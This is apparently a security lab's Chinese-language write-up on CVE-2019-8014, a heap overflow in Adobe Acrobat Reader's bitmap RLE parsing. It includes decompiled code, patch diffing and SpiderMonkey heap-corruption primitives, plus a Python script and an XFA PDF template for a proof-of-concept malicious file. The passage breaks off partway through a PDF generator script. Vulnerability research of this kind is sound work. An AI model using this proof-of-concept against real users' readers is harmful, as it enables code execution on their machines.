作者:Ke Liu @ 騰訊玄武實驗室
來源:https://xlab.tencent.com/cn/2019/09/12/deep-analysis-of-cve-2019-8014/

本文詳細分析了 Adobe Acrobat Reader / Pro DC 中近期修復的安全漏洞 CVE-2019-8014 。有趣的是,Adobe 在六年前修復了一個類似的漏洞 CVE-2013-2729 ,正是由于對該漏洞的修復不夠完善,才使得 CVE-2019-8014 遺留了長達六年之久。本文同時討論了如何為此類漏洞編寫利用代碼。

0x01. 漏洞簡介

Adobe 在八月份為 Adobe Acrobat and Reader 發布了安全公告 APSB19-41 ,和往常一樣,這次更新修復了大量漏洞。當筆者在 ZDI 上查看對應的漏洞公告時,目光迅速被 ZDI-19-725 / CVE-2019-8014 所吸引,因為模塊 AcroForm 中 Bitmap 解析相關的漏洞非常少見。該漏洞在 ZDI 上的部分公告信息如下:

Adobe Acrobat Pro DC AcroForm Bitmap File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability

The specific flaw exists within the parsing of run length encoding in BMP images. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length, heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process.

看描述這和六年之前修復的漏洞 CVE-2013-2729 非常相似——都和 XFA Bitmap Run Length Encoding 解析有關!實際上,兩個漏洞之間確實有著千絲萬縷的聯系,本文將詳細分析漏洞的原理以及兩者之間的關系。

漏洞 CVE-2019-8014 在 ZDI 上的致謝信息為 ktkitty (https://ktkitty.github.io)

0x02. 環境搭建

根據官方公告 APSB19-41 的描述,該漏洞影響 2019.012.20035 以及更早版本的 Adobe Acrobat and Reader ,而不受影響的最新版本號為 2019.012.20036 。本文基于前者進行漏洞分析、基于后者進行補丁分析。

安裝 Adobe Acrobat Reader DC 2019.012.20035 的步驟如下:

安裝 Adobe Acrobat Reader DC 2019.012.20036 的步驟如下:

在調試環境中安裝好軟件后,記得禁用更新服務 Adobe Acrobat Update Service 或者直接斷開網絡連接,防止 Adobe Acrobat Reader DC 自動更新。

0x03. 位圖簡介

在進行漏洞分析之前,先簡單介紹一下位圖的結構。如果你對位圖已經非常熟悉,那么可以直接跳過本小節內容。

3.1 相關結構

通常來說,位圖文件由以下四部分構成:

  1. Bitmap File Header
  2. Bitmap Info Header
  3. RGBQUAD Array
  4. Bitmap Data

3.1.1 BITMAP FILE HEADER

結構體 BITMAPFILEHEADER 的定義如下:

typedef struct tagBITMAPFILEHEADER {
  WORD  bfType;         // 文件標記 'BM'
  DWORD bfSize;         // 位圖文件的大小
  WORD  bfReserved1;    // 保留字段 0
  WORD  bfReserved2;    // 保留字段 0
  DWORD bfOffBits;      // 位圖數據在文件中的偏移值
} BITMAPFILEHEADER, *LPBITMAPFILEHEADER, *PBITMAPFILEHEADER;

3.1.2 BITMAP INFO HEADER

結構體 BITMAPINFOHEADER 的定義如下:

typedef struct tagBITMAPINFOHEADER {
  DWORD biSize;             // 結構體的大小
  LONG  biWidth;            // 位圖寬度
  LONG  biHeight;           // 位圖高度
  WORD  biPlanes;           // 必須為 1
  WORD  biBitCount;         // 每個像素所占用的位數
  DWORD biCompression;      // 壓縮算法
  DWORD biSizeImage;        // 數據大小
  LONG  biXPelsPerMeter;    // 水平分辨率
  LONG  biYPelsPerMeter;    // 垂直分辨率
  DWORD biClrUsed;          // 色彩索引數
  DWORD biClrImportant;     // 必須的色彩索引數
} BITMAPINFOHEADER, *PBITMAPINFOHEADER;

這里成員 biCompression 指明了位圖所使用的壓縮算法,部分壓縮算法的定義如下:

#define BI_RGB  0  // 未使用壓縮算法
#define BI_RLE8 1  // RLE8 壓縮算法
#define BI_RLE4 2  // RLE4 壓縮算法
// 其他壓縮算法...

3.1.3 RGBQUAD ARRAY

結構體 RGBQUAD 描述一個像素的色彩組成,其定義如下:

typedef struct tagRGBQUAD {
  BYTE rgbBlue;
  BYTE rgbGreen;
  BYTE rgbRed;
  BYTE rgbReserved;
} RGBQUAD;

RGBQUAD Array 代表了一張色彩表,位圖數據在解析之后可以是一個索引,索引在數組中對應的值便是該像素的色彩表示。該數組的長度取決于結構體 BITMAPINFOHEADER 中的 biBitCountbiClrUsed 成員的值。

3.1.4 BITMAP DATA

位圖的位數據,該部分數據的表現形式取決于位圖所使用的壓縮算法。

有一點需要注意的是:位圖數據是從左下角往右上角方向進行填充的,即位圖數據中解析出來的第一個像素的色彩,應當填充到位圖的左下角 [wikipedia],隨后依次填充當前行的像素,當前行填充完畢之后,往上移動一個像素繼續以行位單位進行填充,直到位圖填充完畢。

3.2 RLE 編碼

位圖支持兩種類型的 RLE(Run Length Encoding)壓縮算法:RLE4RLE8

3.2.1 RLE8 編碼

RLE8 壓縮算法用于壓縮 8 位位圖(即每個像素占用 1 字節空間)。RLE8 壓縮后的數據可以處于 編碼模式(Encoded Mode)絕對模式(Absolute Mode) 中的任意一種(兩種模式在同一個位圖中可以同時出現)。

編碼模式 包含兩字節數據:

  • 如果第一個字節不為零,其含義為第二個字節需要重復的次數
  • 如果第一個字節為零,那么第二個字節的可能含義如下
  • 0x00 表示當前行已經結束
  • 0x01 表示位圖解析完畢
  • 0x02 表示接下來的兩個字節 (deltaX, deltaY) 為當前坐標 (x, y) 需要移動的距離

絕對模式 中,第一個字節為零,第二個字節位于區間 [0x03, 0xFF] 。第二個字節表示接下來特定數量的字節是未壓縮的數據(數據量需要按 WORD 對齊)。

下面為 RLE8 壓縮之后的數據:

[03 04] [05 06] [00 03 45 56 67] [02 78] [00 02 05 01]
[02 78] [00 00] [09 1E] [00 01]

下面為解壓之后的數據:

04 04 04
06 06 06 06 06
45 56 67
78 78
move current position 5 right and 1 up
78 78
end of line
1E 1E 1E 1E 1E 1E 1E 1E 1E
end of RLE bitmap

3.2.2 RLE4 編碼

RLE4 壓縮算法用于壓縮 4 位位圖(即每個像素占用半字節空間)。RLE4 壓縮后的數據可以處于 編碼模式(Encoded Mode)絕對模式(Absolute Mode) 中的任意一種(兩種模式在同一個位圖中可以同時出現)。

編碼模式 包含兩字節數據:

  • 如果第一個字節不為零,其含義為第二個字節展開后得到的像素個數
  • 第二個字節代表了兩個像素的色彩索引
  • 高 4 位代表第一個像素的色彩索引
  • 低 4 位代表第二個像素的色彩索引
  • 二者依次交替重復,直到得到第一個字節指定的像素個數
  • 如果第一個字節為零,那么第二個字節的可能含義如下
  • 0x00 表示當前行已經結束
  • 0x01 表示位圖解析完畢
  • 0x02 表示接下來的兩個字節 (deltaX, deltaY) 為當前坐標 (x, y) 需要移動的距離

絕對模式 中,第一個字節為零,第二個字節位于區間 [0x03, 0xFF] 。第二個字節表示接下來特定數量的 半字節 是未壓縮的數據(數據量需要按 WORD 對齊)。

下面為 RLE4 壓縮之后的數據:

[03 04] [05 06] [00 06 45 56 67 00] [04 78] [00 02 05 01]
[04 78] [00 00] [09 1E] [00 01]

下面為解壓之后的數據:

0 4 0
0 6 0 6 0
4 5 5 6 6 7
7 8 7 8
move current position 5 right and 1 up
7 8 7 8
end of line
1 E 1 E 1 E 1 E 1
end of RLE bitmap

0x04. 漏洞分析

4.1 代碼定位

根據 ZDI 網站上的公告信息,可知漏洞位于 AcroForm 模塊。該模塊是 Adobe Acrobat Reader DC 中負責處理 XFA 表單 的插件,其路徑如下:

%PROGRAMFILES(X86)%\Adobe\Acrobat Reader DC\Reader\plug_ins\AcroForm.api

通常來說,借助 BinDiff 進行補丁對比分析可以快速定位到有漏洞的函數,但如果新舊版本的二進制文件變動比較大的話就不太好處理了,模塊 AcroForm.api 的情況便是如此:通過對比發現有大量函數進行了改動,一個一個去看顯然不太現實。

筆者用于定位漏洞函數的方法如下(以 2019.012.20035 為例):

  1. IDA 中搜索字符串 PNG ,在 .rdata:20F9A374 找到一處定義
  2. 20F9A374 進行交叉引用查找,定位到函數 sub_20CF3A3F
  3. 很顯然函數 sub_20CF3A3F 負責判斷圖片的類型(從這里也可以看出 XFA 表單所支持的圖片格式類型)
  4. sub_20CF3A3F 進行交叉引用查找,定位到函數 sub_20CF4BE8
  5. 函數 sub_20CF4BE8 根據圖片的類型調用不同的處理函數
  6. 函數 sub_20CF4870(跳轉自 sub_20CF3E5F)負責處理 BMP 位圖

在 BinDiff 的結果中可以看到,函數 sub_20CF3E5F 中確實有幾個基本塊發生了變動,比如 20CF440F 處的基本塊的變動情況如下:

// 20CF440F in AcroForm 2019.012.20035
if ( v131 >= v26 || (unsigned __int8)v127 + v43 > v123 )
  goto LABEL_170;

// 20CF501F in AcroForm 2019.012.20036
v56 = (unsigned __int8)v130 + v43;
if ( v134 >= v26 || v56 > v126 || v56 < v43 || v56 < (unsigned __int8)v130 )
  goto LABEL_176;

很明顯,這里增加了對整數溢出的判斷。

4.2 漏洞分析

好在網上已經有了針對 CVE-2013-2729 的詳細分析報告(參考 feliam’s write up for CVE-2013-2729),基于此可以快速理解函數 sub_20CF3E5F 中相關代碼的含義。

4.2.1 RLE8 解析

函數 sub_20CF3E5F 中負責解析 RLE8 壓縮數據的部分代碼如下:

if ( bmih.biCompression == 1 )  // RLE8 算法
{
  xpos = 0;                     // unsigned int, 從左往右
  ypos = bmih.biHeight - 1;     // unsigned int, 從下往上
  bitmap_ends = 0;
  result = fn_feof(v1[2]);
  if ( !result )
  {
    do
    {
      if ( bitmap_ends )
        return result;
      fn_read_bytes(v1[2], &cmd, 2u);           // 讀取 2 字節數據
      if ( (_BYTE)cmd )                         // 第一個字節不為零
      {                                         // 表示有壓縮數據等待處理
        // 20CF440F 變動的基本塊之一
        if ( ypos >= height || (unsigned __int8)cmd + xpos > width )
          goto LABEL_170;                       // CxxThrowException
        index = 0;
        if ( (_BYTE)cmd )
        {
          do
          {
            line = (_BYTE *)fn_get_scanline(v1[3], ypos);
            line[xpos++] = BYTE1(cmd);
            ++index;
          }
          while ( index < (unsigned __int8)cmd ); // 展開數據
        }
      }
      else if ( BYTE1(cmd) )        // 第一字節為零且第二字節不為零
      {
        if ( BYTE1(cmd) == 1 )      // 位圖結束
        {
          bitmap_ends = 1;
        }
        else if ( BYTE1(cmd) == 2 ) // delta 數據
        {
          fn_read_bytes(v1[2], &xdelta, 1u);
          fn_read_bytes(v1[2], &ydelta, 1u);
          xpos += xdelta;           // 向右移動
          ypos -= ydelta;           // 向上移動
        }
        else                        // 未壓縮數據
        {
          dst_xpos = BYTE1(cmd) + xpos;
          if ( ypos >= height || dst_xpos < xpos || 
               dst_xpos < BYTE1(cmd) || dst_xpos > width )  // 整數溢出檢查
            goto LABEL_170;         // CxxThrowException
          index = 0;
          if ( BYTE1(cmd) )
          {
            do
            {
              fn_read_bytes(v1[2], &value, 1u);
              line = (_BYTE *)fn_get_scanline(v1[3], ypos);
              line[xpos++] = value;
              count = BYTE1(cmd);
              ++index;
            }
            while ( index < BYTE1(cmd) );   // 讀取未壓縮數據
          }
          if ( count & 1 )                  // 數據對齊
            fn_read_bytes(v1[2], &value, 1u);
        }
      }
      else                                  // 當前行結束
      {
        --ypos;                             // 從下往上移動一行
        xpos = 0;                           // 移動到行的起點
      }
      result = fn_feof(v1[2]);
    }
    while ( !result );
  }
}

基于前面的補丁分析,很明顯下面的 if 語句中存在整數溢出:

// 20CF440F 變動的基本塊之一
if ( ypos >= height || (unsigned __int8)cmd + xpos > width )
  goto LABEL_170;                       // CxxThrowException

// 20CF501F AcroForm 2019.012.20036 中修復的基本塊
dst_xpos = (unsigned __int8)cmd + xpos;
if ( ypos >= height || dst_xpos > width || 
     dst_xpos < xpos || dst_xpos < (unsigned __int8)cmd )
  goto LABEL_176;

這里在計算 (unsigned __int8)cmd + xpos 時可能導致整數溢出,且其中兩個變量的值都可以被控制。在解析特定的 RLE8 數據時,如果觸發這里的整數溢出,后續便可以實現堆塊越界寫。

  • 變量 (unsigned __int8)cmd 的值是可以直接控制的,其取值范圍為 [1, 255]
fn_read_bytes(v1[2], &cmd, 2u);           // 讀取 2 字節數據
  • 變量 xpos 的值也是可以直接控制的,只需要在 編碼模式 中布局大量 delta 命令即可使得 xpos 的值接近 0xFFFFFFFF
else if ( BYTE1(cmd) == 2 ) // delta
{
  fn_read_bytes(v1[2], &xdelta, 1u);
  fn_read_bytes(v1[2], &ydelta, 1u);
  xpos += xdelta;           // 向右移動, xdelta 取值范圍為 [0, 255]
  ypos -= ydelta;           // 向上移動
}
  • 因為 xpos 非常大(有符號表示為負數),因此在處理 RLE8 壓縮數據時可以實現堆塊越界寫(往低地址方向越界寫),并且寫的數據也是完全可控的,只不過所有數據都必須是同樣的值
index = 0;
do
{
  line = (_BYTE *)fn_get_scanline(v1[3], ypos);
  line[xpos++] = BYTE1(cmd);            // 可控數據實現堆塊越界寫
  ++index;
}
while ( index < (unsigned __int8)cmd ); // 解壓數據

4.2.2 RLE4 解析

函數 sub_20CF3E5F 中負責解析 RLE4 壓縮數據的部分代碼如下(實現 RLE4 解壓的代碼比 RLE8 解壓的代碼稍微復雜一點,因為數據單位不再是一個字節,而是半個字節):

if ( bmih.biCompression == 2 )  // RLE4 算法
{
  xpos = 0;                     // unsigned int, 從左往右
  ypos = bmih.biHeight - 1;     // unsigned int, 從下往上
  bitmap_ends = 0;
  odd_index_ = 0;
  if ( !fn_feof(v1[2]) )
  {
    do
    {
      if ( bitmap_ends )
        return result;
      fn_read_bytes(v1[2], &cmd, 2u);       // 讀取 2 字節數據
      if ( (_BYTE)cmd )                     // 第一個字節不為零
      {                                     // 表示有壓縮數據等待處理
        high_4bits = BYTE1(cmd) >> 4;       // 高 4 位數據
        low_4bits = BYTE1(cmd) & 0xF;       // 低 4 位數據
        // 20CF45F8 變動的基本塊之一
        if ( ypos >= height || (unsigned __int8)cmd + xpos > width )
          goto LABEL_170;                   // CxxThrowException
        index = 0;
        if ( (_BYTE)cmd )
        {
          xpos_ = odd_index_;
          do
          {
            byte_slot = xpos_ >> 1;
            odd_index = index & 1;
            line = fn_get_scanline(v1[3], ypos);
            _4bits = high_4bits;            // 偶數索引 -> 高 4 位數據
            if ( odd_index )                // 奇數索引 -> 低 4 位數據
              _4bits = low_4bits;
            if ( xpos_ & 1 )                // xpos 為奇數, 存入已有字節
            {
              line[byte_slot] |= _4bits;
            }
            else                            // xpos 為偶數, 存入新的字節
            {
              line[byte_slot] = 16 * _4bits;
            }
            ++xpos_;
            index = index + 1;
          }
          while ( index < (unsigned __int8)cmd );
          odd_index_ = xpos_;
          xpos = odd_index_;
        }
      }
      else if ( BYTE1(cmd) )                // 第一字節為零且第二字節不為零
      {
        if ( BYTE1(cmd) == 1 )              // 位圖結束
        {
          bitmap_ends = 1;
        }
        else if ( BYTE1(cmd) == 2 )         // delta 數據
        {
          fn_read_bytes((_DWORD *)v1[2], &xdelta, 1u);
          fn_read_bytes((_DWORD *)v1[2], &ydelta, 1u);
          xpos += xdelta;                   // 向右移動
          ypos -= ydelta;                   // 向上移動
          odd_index_ = xpos;
        }
        else
        {
          // 20CF44EA 變動的基本塊之一
          if ( ypos >= height || BYTE1(cmd) + xpos > width )
            goto LABEL_170;                 // CxxThrowException
          index = 0;
          odd_index = 0;
          if ( BYTE1(cmd) )                 // 未壓縮數據
          {
            xpos_ = odd_index_;
            do
            {
              odd_index_ = index & 1;
              if ( !(index & 1) )           // 讀取 1 字節數據
              {
                fn_read_bytes((_DWORD *)v1[2], &value, 1u);
                low_4bits_ = value & 0xF;   // 低 4 位數據
                high_4bits_ = value >> 4;   // 高 4 位數據
              }
              byte_slot = xpos_ >> 1;
              line = fn_get_scanline(v1[3], ypos);
              _4bits = high_4bits_;
              if ( odd_index_ )
                _4bits = low_4bits_;
              if ( xpos_ & 1 )
              {
                line[byte_slot] |= _4bits;
              }
              else
              {
                line[byte_slot] = 16 * _4bits;
              }
              ++xpos_;
              count = BYTE1(cmd);
              not_ended = odd_index++ + 1 < BYTE1(cmd);
              index = odd_index;
            }
            while ( not_ended );
            odd_index_ = xpos_;
            xpos = odd_index_;
          }
          if ( (count & 3u) - 1 <= 1 )      // 數據對齊
            fn_read_bytes(v1[2], &value, 1u);
        }
      }
      else                                  // 當前行結束
      {
        --ypos;                             // 從下往上移動一行
        xpos = 0;                           // 移動到行的起點
        odd_index_ = 0;
      }
      result = fn_feof((_DWORD *)v1[2]);
    }
    while ( !result );
  }
}

這里在兩個位置可以觸發整數溢出,其中一處位于處理壓縮數據的過程中:

high_4bits = BYTE1(cmd) >> 4;       // 高 4 位數據
low_4bits = BYTE1(cmd) & 0xF;       // 低 4 位數據
// 20CF45F8 變動的基本塊之一
if ( ypos >= height || (unsigned __int8)cmd + xpos > width )
  goto LABEL_170;                   // CxxThrowException

另一處位于處理未壓縮數據的過程中:

// 20CF44EA 變動的基本塊之一
if ( ypos >= height || BYTE1(cmd) + xpos > width )
  goto LABEL_170;                 // CxxThrowException

0x05. 漏洞利用

5.1 溢出目標

前面提到在解析 RLE 數據時發現了 3 個溢出點,這里選擇其中相對容易寫利用的溢出點來觸發漏洞:位于 RLE8 數據解析過程中的一處整數溢出。

RLE4 數據解析過程中存在的兩處溢出點很難實現穩定利用,因為在向掃描線填充像素數據時,偏移值為 xpos 的值除以 2 ,此時偏移值最大可以是 0xFFFFFFFF / 2 = 0x7FFFFFFF ,也就意味著僅能向高地址方向實現堆塊越界寫,而且這個地址上具體是什么數據很難控制。

而 RLE8 數據解析過程中存在的溢出點就相對好控制一些,因為在向掃描線填充像素數據時,偏移值就是 xpos 本身,這樣就可以向低地址方向實現堆塊越界寫,而且越界寫的范圍在一定程度上也是可控的。在下面的代碼中,(unsigned __int8)cmd 的最大值可以是 0xFF ,為了繞過 if 語句中的條件檢查,xpos 的最小值是 0xFFFFFF01 (在有符號類型下表示為 -255)。這也就意味著最大可以向低地址方向越界寫 0xFF 字節的數據。

// 20CF440F 變動的基本塊之一
if ( ypos >= height || (unsigned __int8)cmd + xpos > width )
  goto LABEL_170;                       // CxxThrowException

但需要注意的是,用于越界寫的數據必須是一樣的,即只能是同一個字節。這會給漏洞利用帶來一些額外的問題,后續會對此進行詳細討論。

index = 0;
do
{
  line = (_BYTE *)fn_get_scanline(v1[3], ypos);
  line[xpos++] = BYTE1(cmd);
  ++index;
}
while ( index < (unsigned __int8)cmd );

5.2 SpiderMonkey 基礎知識

Adobe Acrobat Reader DC 所使用的 JavaScript 引擎為 SpiderMonkey ,在編寫利用代碼之前,先簡單介紹一下相關的基礎知識。

5.2.1 ARRAYBUFFER

ArrayBuffer 而言,當 byteLength 的大小超過 0x68 時,其底層數據存儲區(backing store)所在的堆塊將通過系統堆申請(ucrtbase!calloc);當 byteLength 的大小小于等于 0x68 時,堆塊從 SpiderMonkey 的私有堆 tenured heap 申請。同時,當 backing store 獨立申請堆塊時,需要額外申請 0x10 字節的空間用于存儲 ObjectElements 對象。

class ObjectElements {
 public:
  uint32_t flags;               // 可以是任意值,通常為 0
  uint32_t initializedLength;   // byteLength
  uint32_t capacity;            // view 對象指針
  uint32_t length;              // 可以是任意值,通常為 0
 // ......
};

ArrayBuffer 而言,這里 ObjectElements 的各個成員的名字是沒有意義的(因為本來是為 Array 準備的),這里第二個成員 initializedLength 存儲 byteLength 的值,第三個成員 capacity 存儲關聯的 DataView 對象的指針,其他成員可以是任意值。

在 Adobe Acrobat Reader DC 中執行下面的 JavaScript 代碼:

var ab = new ArrayBuffer(0x70);
var dv = new DataView(ab);
dv.setUint32(0, 0x41424344, true);

ArrayBuffer 對象的 backing store 的內存布局如下:

;            -, byteLength, viewobj,       -,
34d54f80  00000000 00000070 2458f608 00000000
;         data
34d54f90  41424344 00000000 00000000 00000000
34d54fa0  00000000 00000000 00000000 00000000
34d54fb0  00000000 00000000 00000000 00000000
34d54fc0  00000000 00000000 00000000 00000000
34d54fd0  00000000 00000000 00000000 00000000
34d54fe0  00000000 00000000 00000000 00000000
34d54ff0  00000000 00000000 00000000 00000000

在漏洞利用過程中,如果可以更改 ArrayBuffer 對象的 byteLength 為一個更大的值,那么就可以基于 ArrayBuffer 對象實現越界讀寫了。不過需要注意后面的 4 字節數據要么為零,要么指向一個 合法DataView 對象,否則進程會立刻崩潰。

5.2.2 ARRAY

Array 而言,當 length 的大小超過 14 時,其底層元素存儲區所在的堆塊將通過系統堆申請(ucrtbase!calloc);當 length 的大小小于等于 14 時,堆塊從 SpiderMonkey 的私有堆 nursery heap 申請。和 ArrayBuffer 一樣,當底層元素存儲區獨立申請堆塊時,需要額外申請 0x10 字節的空間用于存儲 ObjectElements 對象。

class ObjectElements {
 public:
  // The NumShiftedElementsBits high bits of this are used to store the
  // number of shifted elements, the other bits are available for the flags.
  // See Flags enum above.
  uint32_t flags;

  /*
   * Number of initialized elements. This is <= the capacity, and for arrays
   * is <= the length. Memory for elements above the initialized length is
   * uninitialized, but values between the initialized length and the proper
   * length are conceptually holes.
   */
  uint32_t initializedLength;

  /* Number of allocated slots. */
  uint32_t capacity;

  /* 'length' property of array objects, unused for other objects. */
  uint32_t length;
 // ......
};

在 Adobe Acrobat Reader DC 中執行下面的 JavaScript 代碼:

var array = new Array(15);
array[0] = array[array.length - 1] = 0x41424344;

Array 對象元素存儲區的內存布局如下:

0:010> dd 34cb0f88-10 L90/4
34cb0f78  00000000 0000000f 0000000f 0000000f
34cb0f88  41424344 ffffff81 00000000 ffffff84 ; [0], [1]
34cb0f98  00000000 ffffff84 00000000 ffffff84
34cb0fa8  00000000 ffffff84 00000000 ffffff84
34cb0fb8  00000000 ffffff84 00000000 ffffff84
34cb0fc8  00000000 ffffff84 00000000 ffffff84
34cb0fd8  00000000 ffffff84 00000000 ffffff84
34cb0fe8  00000000 ffffff84 00000000 ffffff84
34cb0ff8  41424344 ffffff81 ???????? ???????? ; [14]

這里 array[0]array[14] 的值都是 41424344 ffffff81 ,其中標簽 0xFFFFFF81 表示元素的類型為 INT32 。而 array[1]array[13] 之間的所有元素都被填充為 00000000 ffffff84 ,表示這些元素當前是未定義的(即 undefined )。

Array 而言,如果可以通過觸發漏洞更改 capacitylength 的值,那么就可以實現越界寫操作:僅僅是越界寫,因為 initializedLength 不變的話越界讀取的元素全部為 undefined ,同時一旦進行越界寫操作,initializedLength 之后到越界寫之前的所有元素都會被填充為 00000000 ffffff84 ,控制不好的話很容導致進程崩潰。

那么如果同時更改 initializedLength 呢?理論上問題不大,不過對于本文所討論的漏洞而言不適用,因為 initializedLength 的值會被改成非常大的值(四字節全部為相同的數據),而在 GC 過程中數組的所有元素都會被掃描,進程會因為訪問到不可訪問的內存頁而崩潰。

5.2.3 JSOBJECT

在 SpiderMonkey 中,所有 JavaScript 對象的類都繼承自 JSObject ,后者又繼承自 ObjectImpl ,相關定義如下:

class ObjectImpl : public gc::Cell {
  protected:
    HeapPtrShape shape_;
    HeapPtrTypeObject type_;
    HeapSlot *slots;
    HeapSlot *elements;
  // ......
};

struct JSObject : public js::ObjectImpl {}

對某些對象(比如 DataView )而言, elements 的值是沒有意義的,因此會指向一個靜態全局變量 emptyElementsHeader ,讀取這些對象的 elements 的值可以用于泄露 JavaScript 引擎模塊的基地址。

static ObjectElements emptyElementsHeader(0, 0);

/* Objects with no elements share one empty set of elements. */
HeapSlot *js::emptyObjectElements =
    reinterpret_cast<HeapSlot *>(uintptr_t(&emptyElementsHeader) + 
    sizeof(ObjectElements));

5.3 位圖構造

如下 Python 代碼可以用于創建 RLE 類型的位圖文件(可以指定各種參數以及位圖數據):

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import os
import sys
import struct

RLE8 = 1
RLE4 = 2
COMPRESSION = RLE8
BIT_COUNT = 8
CLR_USED = 1 << BIT_COUNT
WIDTH = 0xF0
HEIGHT = 1

def get_bitmap_file_header(file_size, bits_offset):
    return struct.pack('<2sIHHI', 'BM', file_size, 0, 0, bits_offset)

def get_bitmap_info_header(data_size):
    return struct.pack('<IIIHHIIIIII',
        0x00000028,
        WIDTH,
        HEIGHT,
        0x0001,
        BIT_COUNT,
        COMPRESSION,
        data_size,
        0x00000000,
        0x00000000,
        CLR_USED,
        0x00000000)

def get_bitmap_info_colors():
    # B, G, R, Reserved
    rgb_quad = '\x00\x00\xFF\x00'
    return rgb_quad * CLR_USED

def get_bitmap_data():
    # set ypos to 0 so that we'll be at the beginning of the heap buffer
    # ypos = (HEIGHT - 1) = 0, no need to bother

    # set xpos to 0xFFFFFF00
    data = '\x00\x02\xFF\x00' * (0xFFFFFF00 / 0xFF)
    # set xpos to 0xFFFFFF0C
    data += '\x00\x02\x0C\x00'

    # 0xFFFFFF0C + 0xF4 = 0
    # 0xF4 bytes of 0x10
    data += '\xF4\x10'

    # mark end of bitmap to skip CxxThrowException
    data += '\x00\x01'

    return data

def generate_bitmap(filepath):
    data = get_bitmap_data()
    data_size = len(data)

    bmi_header = get_bitmap_info_header(data_size)
    bmi_colors = get_bitmap_info_colors()

    bmf_header_size = 0x0E
    bits_offset = bmf_header_size + len(bmi_header) + len(bmi_colors)
    file_size = bits_offset + data_size
    bmf_header = get_bitmap_file_header(file_size, bits_offset)
    with open(filepath, 'wb') as f:
        f.write(bmf_header)
        f.write(bmi_header)
        f.write(bmi_colors)
        f.write(data)

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print 'Usage: %s <output.bmp>' % os.path.basename(sys.argv[0])
        sys.exit(1)
    generate_bitmap(sys.argv[1])

這里直接創建一個 RLE8 位圖文件,相關參數如下:

  • 寬度為 0xF0
  • 高度為 1
  • 位數為 8

對該位圖而言,用于存儲位圖數據的堆塊的大小將會是 0xF0 ,而函數 get_bitmap_data 中指定的位圖數據將使得我們可以向低地址方向越界寫 0xF4 字節的數據,其中數據全部為 0x10

5.4 PDF 構造

下面是一個 PDF 模板文件的內容,該模板后續將用于生成 POC 文件。

%PDF-1.7
1 0 obj
<<
    /Type /Catalog
    /AcroForm 5 0 R
    /Pages 2 0 R
    /NeedsRendering true
    /Extensions
    <<
        /ADBE
        <<
            /ExtensionLevel 3
            /BaseVersion /1.7
        >>
    >>
>>
endobj
2 0 obj
<<
    /Type /Pages
    /Kids [3 0 R]
    /Count 1
>>
endobj
3 0 obj
<<
    /Type /Page
    /Parent 2 0 R
    /Contents 4 0 R
    /Resources
    <<
        /Font
        <<
            /F1
            <<
                /BaseFont /Helvetica
                /Subtype /Type1
                /Name /F1
            >>
        >>
    >>
>>
endobj
4 0 obj
<<
    /Length 104
>>
stream
BT
/F1 12 Tf
90 692 Td
(If you see this page, it means that your PDF reader does not support XFA.) Tj
ET
endstream
endobj
5 0 obj
<<
    /XFA 6 0 R
>>
endobj
6 0 obj
<<
    /Filter /FlateDecode
    /Length __STREAM_LENGTH__
>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
  <template xmlns:xfa="http://www.xfa.org/schema/xfa-template/3.1/" xmlns="http://www.xfa.org/schema/xfa-template/3.0/">
    <subform name="form1" layout="tb" locale="en_US" restoreState="auto">
      <pageSet>
        <pageArea name="Page1" id="Page1">
          <contentArea x="0.25in" y="0.25in" w="576pt" h="756pt"/>
          <medium stock="default" short="612pt" long="792pt"/>
        </pageArea>
      </pageSet>
      <subform w="576pt" h="756pt">
        <field name="ImageCrash">
          <ui>
            <imageEdit/>
          </ui>
          <value>
            <image aspect="actual" contentType="image/bmp">
__IMAGE_BASE64_DATA__
            </image>
          </value>
        </field>
      </subform>
      <event activity="initialize" name="event__initialize">
        <script contentType="application/x-javascript">
// The JavaScript code will be executed before triggering the vulnerability
        </script>
      </event>
      <event activity="docReady" ref="$host" name="event__docReady">
        <script contentType="application/x-javascript">
// The JavaScript code will be executed after triggering the vulnerability
        </script>
      </event>
    </subform>
  </template>
  <config xmlns="http://www.xfa.org/schema/xci/3.0/">
    <agent name="designer">
      <!--  [0..n]  -->
      <destination>pdf</destination>
      <pdf>
        <!--  [0..n]  -->
        <fontInfo/>
      </pdf>
    </agent>
    <present>
      <!--  [0..n]  -->
      <pdf>
        <!--  [0..n]  -->
        <version>1.7</version>
        <adobeExtensionLevel>5</adobeExtensionLevel>
      </pdf>
      <common/>
      <xdp>
        <packets>*</packets>
      </xdp>
    </present>
  </config>
  <xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
    <xfa:data xfa:dataNode="dataGroup"/>
  </xfa:datasets>
  <xfdf xmlns="http://ns.adobe.com/xfdf/" xml:space="preserve">
    <annots/>
  </xfdf>
</xdp:xdp>
endstream
endobj
xref
0 7
0000000000 65535 f 
0000000009 00000 n 
0000000237 00000 n 
0000000306 00000 n 
0000000587 00000 n 
0000000746 00000 n 
0000000782 00000 n 
trailer
<<
    /Root 1 0 R
    /Size 7
>>
startxref
__XREF_OFFSET__
%%EOF

為了觸發整數溢出,前面構造的位圖文件的大小將超過 60MB ,而且在嵌入 XFA 表單時,需要對其進行 Base64 編碼,這會使得生成的 PDF 文件相當大。為了壓縮 PDF 文件的大小,可以給對象 6 0 obj 指定一個 Filter (這里為 FlateDecode )以便壓縮對象的數據,因為數據比較規律,所以壓縮率還是相當可觀的。

為了實現漏洞利用,需要在觸發漏洞前完成內存布局、在觸發漏洞后完成后續利用步驟,而這些操作都需要借助執行 JavaScript 代碼來完成,因此需要在不同的時間點執行不同的 JavaScript 代碼,這可以通過給 subforminitialize 事件和 docReady 事件設置事件處理代碼來完成。

下面的 Python 代碼可以用于生成 PDF 文件:

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import os
import sys
import zlib
import base64

def parse_template(template_path):
    with open(template_path, 'rb') as f:
        data = f.read()
    xdp_begin = data.find('<xdp:xdp')
    xdp_end = data.find('</xdp:xdp>') + len('</xdp:xdp>')

    part1 = data[:xdp_begin]
    part2 = data[xdp_begin:xdp_end]
    part3 = data[xdp_end:]
    return part1, part2, part3

def generate_pdf(image_path, template_path, pdf_path):
    pdf_part1, pdf_part2, pdf_part3 = parse_template(template_path)

    with open(image_path, 'rb') as f:
        image_data = base64.b64encode(f.read())
